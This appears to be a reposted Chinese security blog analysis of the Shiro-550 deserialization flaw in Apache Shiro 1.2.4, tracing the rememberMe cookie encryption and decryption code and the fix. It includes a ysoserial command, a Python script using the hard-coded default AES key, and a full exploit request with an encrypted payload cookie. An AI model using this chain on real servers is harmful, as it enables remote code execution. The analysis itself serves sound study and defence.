【Java框架审计】Shiro框架550反序列化漏洞分析

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2023年6月11日21:38:15评论24 views字数 12685阅读42分17秒阅读模式

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1、Shiro产品了解

Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。

详细参考：https://shiro.apache.org/

【Java框架审计】Shiro框架550反序列化漏洞分析

基本特点如下：

  • Authentication：身份认证 / 登录，验证用户是不是拥有相应的身份；

  • Authorization：授权，即权限验证，验证某个已认证的用户是否拥有某个权限，即判断用户是否能做事情；

  • Session Management：会话管理，即用户登录后就是一次会话，在没有退出之前，它的所有信息都在会话中，会话可以是普通 JavaSE 环境的，也可以是如 Web 环境的；

  • Cryptography：加密，保护数据的安全性，如密码加密存储到数据库，而不是明文存储；

  • Web Support：Web 支持，可以非常容易的集成到 Web 环境；

  • Caching：缓存，比如用户登录后，其用户信息、拥有的角色 / 权限不必每次去查，这样可以提高效率；

  • Concurrency：Shiro 支持多线程应用的并发验证，即如在一个线程中开启另一个线程，能把权限自动传播过去；

  • Testing：提供测试支持；

  • Run As：允许一个用户假装为另一个用户（如果他们允许）的身份进行访问；

  • Remember Me：记住我，这个是非常常见的功能，即一次登录后，下次再来的话不用登录了。

2、环境搭建

2.1 下载源码

获取 1.2.4 版本的Shiro源码：

下载地址：https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

2.2 项目了解

项目根目录文件：

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进入samples文件夹：

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2.3 启动项目

1、将 shiro/samples/web 导入IDE，修改pom文件内容

<properties>  <maven.compiler.source>1.8</maven.compiler.source>  <maven.compiler.target>1.8</maven.compiler.target></properties>

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2、打包、启动

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3、访问项目

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登录成功：

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3、Shiro-550反序列漏洞

3.1 漏洞说明

在response包中返回含有remenberMe的字段：

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RememberMe功能说明：

（1）shiro在登录处提供了Remember Me这个功能，来记录用户登录的凭证，然后shiro会对用户传入的cookie进行解密并进行反序列化。服务端接收rememberMe的cookie值后的操作是：

Base64解码 --> 使用密钥进行AES解密 --> 反序列化

（2）由于该版本AES加密的密钥Key被硬编码在代码里（漏洞能够被利用的本质），且大部分项目未修改默认AES密钥，这意味着攻击者只要通过源代码找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化，AES加密，Base64编码，然后将其作为cookie的Remember Me字段值发送，Shiro将数据进行解密并且反序列化，最终触发反序列化漏洞。

（3）处理Cookie的类是CookieRememberMeManaer，该类继承AbstractRememberMeManager类，跟进AbstractRememberMeManager类，很容易看到AES的key。key所在类 org.apache.shiro.mgt.AbstractRememberMeManager 看到 kPH+bIxk5D2deZiIxcaaaA== 的key内容。

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3.2 漏洞复现

（1）入口

入口点在rememberMe的cookie字段处，勾选RememberMe：

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看到Cookie中有rememberMe字段：

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（2）生成序列化数据

使用ysoserial反序列化工具：https://github.com/frohoff/ysoserial

工具使用方法：

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项目使用cc4链：

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根据项目cc4链使用工具参数，生成反序列化恶意文件：

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc" > evil.txt

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（3）编写加密脚本

#！/usr/bin/python3# -*- coding:utf-8-*-from _ast import Lambdafrom Crypto.Cipher import AESimport uuid,base64#项目AES硬编码密钥key = "kPH+bIxk5D2deZiIxcaaaA=="f=open("evil.txt",'rb')bs = AES.block_sizepad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()key = base64.b64decode(key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))payload = str(base64_ciphertext, encoding='utf-8')fo = open("poc.txt","w")fo.write(payload)

生成攻击poc：

python 加密.py

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（4）触发漏洞

将生成的poc内容作为Cookie中的rememberMe字段值，触发漏洞。

POST /login.jsp HTTP/1.1Host: 172.20.10.4:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 57Origin: http://172.20.10.4:8090Connection: closeReferer: http://172.20.10.4:8090/login.jspCookie: JSESSIONID=537D6AB37563E6751A0ABC948D969880;rememberMe=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Upgrade-Insecure-Requests: 1
username=34eqt&password=ewardf&rememberMe=on&submit=Login

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3.3 Shiro AES加解密流程

3.3.1 AES加密简介

  • AES加密有AES-128（默认）、AES-192、AES-256三种，分别对应三种密钥长度128bits（16字节）、192bits（24字节）、256bits（32字节）。

  • AES加密属于分组密码算法，常见的分组加密模式有：ECB、CBC、CFB、OFB。AES算法在对明文加密的时候，并不是把整个明文一股脑的加密成一整段密文，而是把明文拆分成一个个独立的明文块，每一个明文块长度128bit，叫做块大小(BlockSize)，也就是说，每个分组为16个字节（每个字节8位）。

  • 这些明文块经过AES加密器复杂处理，生成一个个独立的密文块，这些密文块拼接在一起，就是最终的AES加密的结果。

填充方式如下：
假如一段明文长度是196bit，如果按每128bit一个明文块来拆分的话，第二个明文块只有64bit，不足128bit，这就需要对明文块进行填充（Padding）。几种典型的填充方式：

  • NoPadding：不做任何填充，但是要求明文必须是16字节的整数倍。

  • PKCS5Padding（默认）：缺几个字节就填几个缺的字节数，限定块大小（blocksize）为8字节。

| DD DD DD DD DD DD DD DD | DD DD DD DD 04 04 04 04 |

  • PKCS7Padding：原理与PKCS5Padding相似，区别是PKCS5Padding的blocksize为8字节，而PKCS7Padding的blocksize可以为1到255字节。

采用AES算法，其块大小最小是16字节，而pkcs5只能用于8字节，所以对于AES算法来说使用PKCS5Padding和PKCS7Padding是完全一样的。

3.3.2 Shiro加密过程

勾选RememberMe进行登录，shiro会通过登入的用户信息生成cookie并发送到客户端存储，下次再次访问时无需登入。

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（1）加密过程 – 部分方法

org.apache.shiro.mgt.DefaultSecurityManager#loginorg.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin  org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity    org.apache.shiro.web.servlet.SimpleCookie#removeFrom  org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity    org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes  serialize:503, AbstractRememberMeManager (org.apache.shiro.mgt)    --> serialize:48, DefaultSerializer (org.apache.shiro.io)    org.apache.shiro.mgt.AbstractRememberMeManager#encryt      -->org.apache.shiro.crypto.JcaCipherService#encrypt    org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity

（2）加密过程 – login

进入 org.apache.shiro.mgt.DefaultSecurityManager#login，其中authenticate(token)方法根据token判断是否登入成功，此时rememberMe=true，首次认证登入后，会生成cookie。

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进入 org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 函数。

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其中 org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity 函数的作用是清除之前cookie中的rememberMe字段的值。

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（3）加密过程 – 设置rememberMe=deleteMe

接着进入 org.apache.shiro.web.servlet.SimpleCookie#removeFrom 方法，其中的addCookieHeader方法帮助添加响应包字段，首次登录会设置rememberMe=deleteMe,Max-Age=0，来删除此cookie。

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到 org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 函数，判断token中rememberMe，因为是true，所以进入rememberIdentity函数。

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接着进入 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity 方法，其中convertPrincipalsToBytes方法会将登入的用户主体序列化并进行AES加密后输出。

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（4）加密过程 – 序列化

跟进 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法，其中serialize()方法将接收的数据序列化。

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看到 serialize:503, AbstractRememberMeManager (org.apache.shiro.mgt) 和 serialize:48, DefaultSerializer (org.apache.shiro.io) 熟悉的writeObject方法，并将序列化后的数据流返回。

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（5）加密过程 – AES加密

回到 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法，跟进encryt函数，会将获得的序列化数据进行AES加密。

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进入 org.apache.shiro.mgt.AbstractRememberMeManager#encryt 方法，其中getCipherService()返回AES加密对象，看到使用的算法为 AES，加密模式为 CBC，填充方式为PKCS5Padding，即为 AES/CBC/PKCS5Padding 值。

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其中 getEncryptionCipherKey() 用于获取加密密钥，返回的是Shiro默认硬编码的key，即为 kPH+bIxk5D2deZiIxcaaaA==

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将key代入 org.apache.shiro.crypto.JcaCipherService#encrypt 方法加密，其中使用generateInitializationVector 初始化生成一个iv向量，并继续携带这些数据（key、iv、明文数据）进行加密。

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最终将加密后的bytes数据回传给 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法中的bytes变量。

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回到 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity 方法，此时已经拿到加密后的数据，接着跟进rememberSerializedIdentity方法。

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（6）加密过程 – base64编码

跟进 org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity 方法，要对序列化的字节数组serialized进行base64编码，然后返回到cookie中。

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至此，cookie生成过程结束，将cookie返回到客户端。

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3.3.3 Shiro解密过程

此时已经是登录状态了，携带协商好的cookie再次发起请求，观察系统解析cookie的流程。

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（1）解密过程 – 部分方法

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals  org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity    org.apache.shiro.web.servlet.SimpleCookie#readValue  org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals    org.apache.shiro.mgt.AbstractRememberMeManager#decrypt      org.apache.shiro.crypto.JcaCipherService#decrypt    org.apache.shiro.io.DefaultSerializer#deserialize      java.io.ObjectInputStream#readObject

进入 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法获取客户端数据，跟进getRememberedSerializedIdentity方法。

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（2）解密过程 – 读取cookie

进入 org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity 方法，其中的getCookie().readValue()方法从请求中读取cookie。

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跟进 org.apache.shiro.web.servlet.SimpleCookie#readValue 方法，读取cookie中rememberme字段值。

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（3）解密过程 – base64解码

回到 org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity 方法，使用Base64.decode()方法对接收到的数据进行base64解码，输出byte数据。

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回到 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法，跟进convertBytesToPrincipals方法。

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（4）解密过程 – AES解密

进入 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法，其中decrypt()方法要对数据进行解密。

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跟进 org.apache.shiro.mgt.AbstractRememberMeManager#decrypt 方法，跟加密时流程很像，其中getCipherService()用来返回AES对象，看到使用的算法为AES，加密模式为 CBC，填充方式为PKCS5Padding，即 AES/CBC/PKCS5Padding，跟加密时生成的对象是一样。这里的getEncryptionCipherKey()用途一样，获取Shiro默认硬编码的key信息。

【Java框架审计】Shiro框架550反序列化漏洞分析跟进 org.apache.shiro.crypto.JcaCipherService#decrypt 方法，iv向量的长度为16字节（128比特），则截取出base64解码后的的字节数组中的前16个字节作为iv向量，进一步解密。

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（5）解密过程 – 反序列化

最终解密后返回到 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法，进行反序列化，进入deserialize()方法。

【Java框架审计】Shiro框架550反序列化漏洞分析

跟进 org.apache.shiro.io.DefaultSerializer#deserialize 方法，最终使用 java.io.ObjectInputStream#readObject 方法完成反序列化。

【Java框架审计】Shiro框架550反序列化漏洞分析

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反序列化完毕后，回到 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法，principals=root，到此，cookie认证成功。

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3.4 补丁分析

这个漏洞的关键点在于AES解密的密钥，攻击者需要知道密钥才能构造恶意的序列化数据。所以官方针对这个漏洞的修复方案是将默认硬编码的Key改为随机生成的Key来进行加密。

参考链接：https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848

【Java框架审计】Shiro框架550反序列化漏洞分析



原文始发于微信公众号（ZackSecurity）：【Java框架审计】Shiro框架550反序列化漏洞分析

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